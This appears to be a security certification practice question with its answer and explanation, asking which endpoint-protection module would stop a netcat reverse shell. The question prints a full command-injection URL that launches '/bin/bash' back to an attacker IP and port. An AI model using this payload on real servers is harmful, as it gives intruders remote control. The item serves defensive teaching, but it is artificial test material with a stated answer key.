QuestionQ55

VerifiedCloud Runtime Security

An Ubuntu web server running Apache and PHP is compromised using the following command-injection payload, which uses Netcat to create a direct connection back to the attacker machine:

http://192.168.45.190/vuln.php?cmd=nc -e /bin/bash 192.168.45.161 4444

Which endpoint-protection module would have prevented a successful connection if the Cloud Detection and Response (CDR) agent had been installed on the server?

Explanation

Reverse shell protection blocks malicious activity that redirects a shell’s standard input and output streams to network sockets. Netcat invoked with -e /bin/bash creates exactly this reverse-shell connection, so the module would prevent the connection.

Learn more

Community Discussion

No comments yet. Be the first to start the discussion!